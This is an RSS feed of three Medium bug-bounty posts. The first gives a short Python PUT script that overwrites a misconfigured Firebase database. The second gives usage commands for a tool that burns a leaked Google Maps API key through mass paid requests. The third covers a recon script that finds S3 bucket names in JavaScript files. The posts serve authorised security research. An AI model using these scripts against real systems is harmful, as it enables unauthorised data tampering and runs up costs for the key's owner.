<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Gustavo Gradilla on Medium]]></title>
        <description><![CDATA[Stories by Gustavo Gradilla on Medium]]></description>
        <link>https://medium.com/@gradillagustavo87?source=rss-d02bf3a879ca------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*NV_2YNQmU6JWJLhE</url>
            <title>Stories by Gustavo Gradilla on Medium</title>
            <link>https://medium.com/@gradillagustavo87?source=rss-d02bf3a879ca------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 23:18:02 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@gradillagustavo87/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I Took Over a Firebase Database With 10 Lines of Code]]></title>
            <link>https://medium.com/@gradillagustavo87/how-i-took-over-a-firebase-database-with-10-lines-of-code-75c93f9e3be4?source=rss-d02bf3a879ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/75c93f9e3be4</guid>
            <dc:creator><![CDATA[Gustavo Gradilla]]></dc:creator>
            <pubDate>Wed, 17 Jan 2024 22:56:27 GMT</pubDate>
            <atom:updated>2024-01-17T22:57:37.010Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*_oTIE5KBzJWeWfh_gG7RVg.png" /></figure><p>If the title sounds a little ridiculous, its because it actually is that simple to overwrite a firebase database. All you need is 10 lines or less of a very basic Python and you’ll have enough Proof Of Concept to cash in on some bounties.</p><p>I won’t be going into how to discover a firebase database in this post, but I will be addressing an issue that all of us newbie bug bounty hunters face.</p><p>If you’re like me, you’ve had your fair share of run-ins with triagers that want definitive and absolute proof of an impact before rewarding you with a bounty. You are well aware that just finding an open firebase database is not enough, you have to show that you can write to it.</p><p>Once you’ve discovered one, you might be thinking to yourself … “What next?”</p><p>Using the text editor of your choice, simply enter:</p><pre>import requests<br><br>## THIS IS AN EXAMPLE OF JSON DATA TO UPLOAD TO THE DATABASE. CHANGE AS YOU SEE FIT<br>data = {&quot;Mexploit&quot;: &quot;BugBountyHunter&quot;, &quot;Email&quot;: &quot;&lt;EMAIL&gt;&quot;, &quot;Role&quot;: &quot;Admin&quot;, &quot;Message&quot; : &quot;this is a PoC for your misconfigured firebase instance. A misconfigured instance could allow attackers to read, write, and manage a firebase db for their own nefarious actions. Please secure this immediately.&quot;}<br><br>## HERE YOU WILL ENTER THE URL OF THE EXPOSED DB WITH THE ./json APPENDED<br>response = requests.put(&#39;&lt;URL OF EXPOSED FIREBASEDB&gt;&#39;,json=data)<br><br>## IF SUCCESSFUL YOU WILL GET A MESSAGE TO TERMINAL<br>print(&quot;Executed the PoC Successfully&quot;)</pre><p>Save as a python script, and run from the script directory:</p><pre>python3 firebasepoc.py</pre><p>If succesful you should see your entries uploaded to the database. This should be enough of a PoC for any triager to accept the finding and reward a bounty, but as always YOUR MILEAGE MAY VARY.</p><p>As a general disclaimer, only conduct research on assets within scope and with explicit permission from the organization. Failure to do so could lead to serious consequences.</p><p>Happy Hunting!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=75c93f9e3be4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Used A Simple Python Script to Exploit a Vulnerable Google API Key.]]></title>
            <link>https://medium.com/@gradillagustavo87/how-i-used-a-simple-python-script-to-exploit-a-vulnerable-google-api-key-475b4fcaf895?source=rss-d02bf3a879ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/475b4fcaf895</guid>
            <category><![CDATA[hacking-tools]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[google]]></category>
            <dc:creator><![CDATA[Gustavo Gradilla]]></dc:creator>
            <pubDate>Mon, 15 Jan 2024 23:06:51 GMT</pubDate>
            <atom:updated>2024-01-15T23:37:56.735Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R0YaB8q-vdm7cx68yEjYiQ.png" /></figure><p>In the realm of bug bounty hunting and content discovery, uncovering publicly exposed API keys can be a goldmine for security researchers. This article delves into a Python script, named googleapiexploit.py, designed to demonstrate the impact of exploiting a vulnerability in the Google Maps Places API.</p><h3>Understanding the Exploit</h3><p>The script leverages the Google Maps Places API to mass fetch restaurant data from random cities. The idea behind this Proof of Concept (PoC) is to showcase the potential consequences of a publicly exposed API key.</p><p>Each time the API is called with a vulnerable key, it incurs costs for the organization. Specifically, the “Text-Search Places” function, as of the time of writing, is priced at $32 per 1000 requests (<a href="https://mapsplatform.google.com/pricing/">Google Maps Platform Pricing</a>).</p><h3>Installation</h3><h3>Step 1: Clone the Repository</h3><pre>git clone https://github.com/mexploit30/googleapiexploit.git</pre><h3>Step 2: Change to the Project Directory</h3><pre>cd googleapiexploit</pre><h3>Step 3: Install Dependencies</h3><pre>pip install -r requirements.txt</pre><h3>Usage</h3><p>Running the script is straightforward. Here’s an example command:</p><pre>python3 googleapiexploit.py --api-key &lt;vulnerable_api_key&gt; --cities 10 --threads 5</pre><ul><li>--api-key or -k: Specify the vulnerable Google API Key.</li><li>--cities or -c: Determine the number of random cities to call.</li><li>--threads or -t: Set the number of threads for concurrent requests (default: 5).</li></ul><p>The script uses the default “cities.txt” file provided in the repository. You can modify this file or supply your own list, as long as it’s named “cities.txt,” and the script will import it correctly.</p><h3>Feedback and Contributions</h3><p>This script is a work in progress. Feel free to make suggestions for features and updates. Your input is valuable in refining the tool for better use and understanding.</p><h3>Conclusion</h3><p>Exploring vulnerabilities in APIs is crucial for improving overall security. The Google Maps Places API exploit script serves as a reminder of the real-world impact that can result from the exposure of sensitive information. As security enthusiasts, let’s continue to refine our tools, contribute to the community, and foster a safer digital landscape.</p><blockquote>Linkedin: <a href="https://www.linkedin.com/in/gustavogradilla/">https://www.linkedin.com/in/gustavogradilla/</a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=475b4fcaf895" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Automate Finding Amazon S3 Buckets Using A Simple Python Script]]></title>
            <link>https://medium.com/@gradillagustavo87/how-i-automate-finding-amazon-s3-buckets-using-a-simple-python-script-c1a7c11a8b52?source=rss-d02bf3a879ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/c1a7c11a8b52</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking-tools]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Gustavo Gradilla]]></dc:creator>
            <pubDate>Mon, 15 Jan 2024 22:31:01 GMT</pubDate>
            <atom:updated>2024-01-15T23:38:13.787Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*JNKfSqlCFd698C3wRzDQvw.png" /></figure><p>In bug bounty hunting, subdomain discoveries play a crucial role in web security, and analyzing them is a fundamental step in identifying potential vulnerabilities.</p><p>In this guide, we’ll walk through the practical steps of using a simple Python script that will take a list of subdomains, crawl for their JavaScript files, and use simple regex to enumerate possible hidden Amazon S3 buckets mentioned in the code.</p><h4>Step 1: Download the Script.</h4><p>I have hosted the script on my github page which can be found here <a href="https://github.com/mexploit30/java2s3">https://github.com/mexploit30/java2s3</a></p><p>You can also run from your linux terminal:</p><pre>git clone https://github.com/mexploit30/java2s3.git</pre><p>Follow the instructions on the github for installation and use, which are pretty straight forward.</p><h4>Step 2: Prepare the Input File.</h4><p>There are many methods for enumerating the subdomains of your chosen target. You can use a tool such as <a href="https://github.com/projectdiscovery/subfinder">subfinder </a>to do this task which is also located on Github. I have developed my own framework, but I will be sharing that at a later date.</p><ul><li>Create a text file (input.txt) containing a list of subdomains, with each subdomain on a new line.</li><li>Ensure the file is saved in the same directory as the script.</li></ul><p>Ready to run the script.</p><h4>Step 3: Run the Script.</h4><p>Command-Line Execution:</p><ul><li>Open your terminal or command prompt.</li><li>Navigate to the directory where the script is located.</li></ul><pre>cd path/to/script</pre><ul><li>Execute the script by providing the input file, base domain, and output file as arguments:</li></ul><pre>python java2s3.py input.txt example.com output.txt</pre><ul><li>Replace example.com with your base domain.</li></ul><h4>Step 4: Observe the Results.</h4><p>Once the script completes execution, open the output file (output.txt) to review the results. I recommend passing a GREP for “S3 Buckets:” to make the results more human readable, or make some tweaks to the python script to achieve this exact result. By default, the output file will contain the HTML status codes, html content, as well as the links to all the javascript files and S3 Buckets.</p><h3>Conclusion</h3><p>Regularly incorporating this script into your security routine enhances your ability to identify and mitigate potential security threats. Feel free to adapt and customize the script based on your specific requirements and continue strengthening your web security practices. Stay proactive, stay secure!</p><blockquote>LinkedIn: <a href="https://www.linkedin.com/in/gustavogradilla/">https://www.linkedin.com/in/gustavogradilla/</a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c1a7c11a8b52" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>